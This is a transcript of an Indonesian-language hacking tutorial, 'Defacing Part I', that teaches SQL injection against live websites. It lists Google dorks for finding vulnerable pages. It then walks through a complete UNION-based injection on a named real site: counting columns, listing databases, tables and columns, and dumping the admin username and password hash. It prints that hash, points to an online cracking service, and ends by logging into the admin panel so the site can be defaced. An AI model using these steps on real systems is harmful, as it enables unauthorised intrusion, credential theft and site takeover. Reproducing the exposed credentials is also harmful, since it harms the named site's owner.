Defacing Part I

  • View
    12

  • Download
    2

Embed Size (px)

Transcript

RobertSinaga Articel SQLinjection

SqLi Tutorial Sql Injection Tutorial Sql Injection Artikel SQL Injection Article Sqli (alias Sql Injection atau Structured Query Language Injeksi) adalah langkah pertama dalam entri untuk memanfaatkan atau hacking website. Hal ini mudah dilakukan dan merupakan titik dari awal yang bagus. Sayangnya tutorial yang sedikit rumit sehingga itulah sebabnya ane menulis ini. Sqli pada dasarnya hanyalah suntikan pertanyaan ke dalam database atau menggunakan query untuk mendapatkan bypass otorisasi sebagai sebuah admin.

Untuk Mencari Inject Mencari SQLI sangat mudah,semua yang perlu ente2 lakukan adalah Googling . Hal pertama yang perlu ente2 lakukan adalah menemukan beberapa dorks Code: inurl:trainers.php?id= inurl:buy.php?category= inurl:article.php?ID= inurl:play_old.php?id= inurl:declaration_more.php?decl_id= inurl:pageid= inurl:games.php?id= inurl:page.php?file= inurl:newsDetail.php?id= inurl:gallery.php?id= inurl:article.php?id= inurl:show.php?id= inurl:staff_id=

inurl:newsitem.php?num= inurl:readnews.php?id= inurl:forum_bds.php?num= inurl:game.php?id= inurl:view_product.php?id= inurl:newsone.php?id= inurl:sw_comment.php?id= inurl:news.php?id= inurl:event.php?id= inurl:product-item.php?id= inurl:news.php?id= inurl:index.php?id= inurl:faq2.php?id= inurl:show_an.php?id= inurl:preview.php?id= inurl:download.php?id= inurl:main.php?id= inurl:review.php?id= inurl:read.php?id= "id=" & intext:"Warning: mysql_fetch_assoc() "id=" & intext:"Warning: mysql_fetch_array() "id=" & intext:"Warning: mysql_num_rows() Lebih lengkap, silakan dicari di Google Dorknya

Disini saya akan memberikan contoh dengan web Pemerintah, setelah saya cari di google dork dengan key inurl:news.php?id= Situsnya adalah http://www.primausada.com/news.php?news_id=9 Berikut langkah SQLinject nya

http://www.primausada.com/news.php?news_id=9

Sekarang kita akan melakukan pengecekan apakah website tersebut memiliki vulnerability dengan menambahkan tanda di akhir URL, contohnya sebagai berikut: Code:

http://www.primausada.com/news.php?news_id=9

Jika kita menemukan error, maka terdapat vulnerability di website tersebut, sebagai contoh:

Setelah kita mengetahui ada vulnerability, maka langkah selanjutkan adalah kita harus mengetahui berapa jumlah kolom yang ada di table tersebut Kita akan mengetahuinya sampai ada informasi Unknown Column. Lakukan pengecekan dengan menggunakan perintah order by. Kita akan mencoba dari 1..tak hingga, jadi bisa saja 1,2,3,4,5,6,7,dst. Kebetulah dalam target ini hanya terdapat 11 kolom dalam table yang ada di database, Contohnya:

Langkah pengetesannya adalah Code:http://www.primausada.com/news.php?news_id=9 http://www.primausada.com/news.php?news_id=9 http://www.primausada.com/news.php?news_id=9 http://www.primausada.com/news.php?news_id=9 order order order order by by by by 1-2-3-4->> >> >> >> no no no no error error error error

http://www.primausada.com/news.php?news_id=9

order by 5-- >> Unknown column

http://www.primausada.com/news.php?news_id=9 order by 5-- *>> Unknown column Hal tersebut membuktikan bahwa tidak ada kolom ke 5 dalam table tersebut, jadi cuman ada 4 kolom.

Langkah selanjutnya adalah, mencari kolom yang dapat di akses! Kita sudah mengetahui, jumlah kolom adalah 4, kita gunakan perintah UNION SELECT number,of,columns-- untuk mengatahui kolom mana yang dapat di akses: Code:http://www.primausada.com/news.php?news_id=9 union select 1,2,3,4--

Anda akan menemukan seperti gambar berikut:

Muncul 4,3,2 kan? Kolom dalam tersebutlah yang bisa anda akses dan anda ambil informasinya.

Langkah selanjutnya, mencari informasi versi database SQL Injection bekerja baik pada versi 5.* ke atas, untuk mendapatkan informasi database version, kita masukkan saja @@version, pada kolom dimana saja yang bisa dipakai. Misalkan kolom 4 kita ganti dengan @@version Code:http://www.primausada.com/news.php?news_id=9 union select 1,2,3,@@version--

Akan muncul versi database 5.0.51a-24, ini berarti database bisa di inject

Mengetahui Database Name Langsung ajah kita replace kolom yang tadi digunakan 4 dibagian mana saja, kita gunakan kolom 4, kita ganti dengan code berikut group_concat(schema_name) , dan jangan lupa tambahkan from information_schema.schemata-- sesudah kolom terakhir. Code:http://www.primausada.com/news.php?news_id=9 union select 1,2,3, group_concat(schema_name) from information_schema.schemata--

Mengatahui Database Yang Dipakai Langsung ajah ganti group_concat(schema_name) dengan concat(database()) seperti contoh berikut: Code:http://www.primausada.com/news.php?news_id=9 union select 1,2,3, concat(database()) from information_schema.schemata--

Selamat, anda telah mengetahui database yang dipakai saat ini adalah t59395_primausada.

Mengetahui Nama Tabel Langsung aja ganti group_concat(table_name) dan tambahkan from information_schema.tables where table_schema=database()-- setelah kolom terakhir. Code:http://www.primausada.com/news.php?news_id=9 union select 1,2,3, group_concat(table_name) from information_schema.tables where table_schema=database()--

Nama tabel yang mengandung admin info adalah user_account.

Mengatahui Nama Kolom Untuk mengetahui nama kolom, kita gunakan query berikut: group_concat(column_name) from information_schema.columns where table_schema=database()-Code:http://www.primausada.com/news.php?news_id=9 union select 1,2,3, group_concat(column_name) from information_schema.columns where table_schema=database()--

qta telah menemukan kolom username dan pasword seperti di atas ini

Mengambil Informasi Yang Ada Di Dalam Kolom Ini adalah step akhir, dimana anda akan mendapatkan informasi mengenai isi dari kolom yang berada dalam table di database. Eksekusi perintah berikut: Code rumus:http://www.site.com/news_details.php?id=30 union select 1,2,3,4,5,group_concat(columnusername,0x3a,columnpassword),7 from currentdb.tableused-#inilah rumus SQLinjection #kadang ini tidak berguna jika web sudah di hack, ini hanya contoh.. mohon di pahami n kembang kan... #ini di sesuaikan dengan hasil seperti yang telah qta kerjakan Columnusername : username Columnpassword : password Curentdb : t59395_primausada Tableused : user_account

Exploit akan menjadi seperti berikut : Code:http://www.primausada.com/news.php?news_id=9 union select 1,2,3, group_concat(username,0x3a,password) from t59395_primausada.user_account-catatan= t59395_primausada : database name user_account : Tabel name username : kolom username password : kolom password

Inilah daftar admin dan password ny adhika:*A0F874BC7F54EE086FCE60A37CE7887D8B31086B

Dari informasi di atas kita mendapatkan data: adhika:*A0F874BC7F54EE086FCE60A37CE7887D8B31086B

, Mari kita pahami Password ini terdiri darai 40 karakter (A0F874BC7F54EE086FCE60A37CE7887D8B31086B ) yang berarti password ini bukan MD5, melainkan SHA1..... Password MD5 hanya terdiri dari 32 karakter

Silakan check ke SHA1 decrypter untuk mendecrypt password -> http://www.md5decrypter.co.uk/, atau http://www.md5decrypter.co.uk/sha1decrypt.aspx, kemudian paste password yang tadi yaitu: A0F874BC7F54EE086FCE60A37CE7887D8B31086B , anda akan medapatkan result seperti dibawah:

adhika: A0F874BC7F54EE086FCE60A37CE7887D8B31086B renbang:password123 username : adhika password : password123

setelah itu, kita coba login menjadi admin... biasanya halaman login berada di /administrator atau /admin....

ketik http://www.primausada.com/admin

Masukan username dan password, kemudian login...

Dan, taraararararararar, kita berhasil login, setelah ini terserah dirimu........

Selamat Credit: Robert Sinaga